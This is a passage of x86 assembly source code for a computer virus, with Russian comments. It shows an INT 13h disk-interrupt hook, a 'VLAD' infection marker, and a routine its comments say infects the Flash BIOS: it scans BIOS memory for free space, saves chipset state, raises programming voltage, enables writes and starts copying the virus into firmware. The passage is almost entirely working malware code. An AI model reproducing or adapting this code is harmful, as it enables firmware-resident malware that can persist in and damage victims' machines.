;свидетельствует о том, что boot−сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
;Выходим из обработчика в вызывающую программу
retf 2
;Запуск оригинального обработчика
jend:
DD 0EAh ;Код команды JMP FAR
;Оригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
;Первые два байта слова используются как сигнатура
Marker db ”VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
;Проверим наличие Flash BIOS
mov ax,0E000h
int 16h
jc no_flash_bios
cmp al,0FAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
;Просканируем память F000h−FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
Infect_Flash:
;Установим начальный сегмент для поиска
mov ax,0F000h
mov ds,ax
;Проверим сегмент
New_segment:
;Установим стартовое смещение
xor si,si
;Установим счетчик найденных байт
;(величина свободного места для вируса)
xor dx,dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
;Проверим, есть ли еще место для вируса
cmp ax,0FFF0h
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
inc dx
;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,
но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512
слов)
cmp dx,512
je found_storage
;Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;В эту точку попадаем, если место найдено
Found_storage:
;Перейдем к началу зоны
sub ax,40h
mov ds,ax
;Получим требования к сохранению состояния чипа
mov ax,0E001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
;Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
;записывать некуда – выходим
No_Flash_BIOS:
ret
;Сохраним состояние чипа
save_chipset:
;Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
;Сохраним состояние
mov al,2
push cs
pop es
mov di,offset buffer
int 16h
;Записываемся во Flash BIOS
write_enable:
;Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
;Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di,di
mov cx,512
push cs
pop ds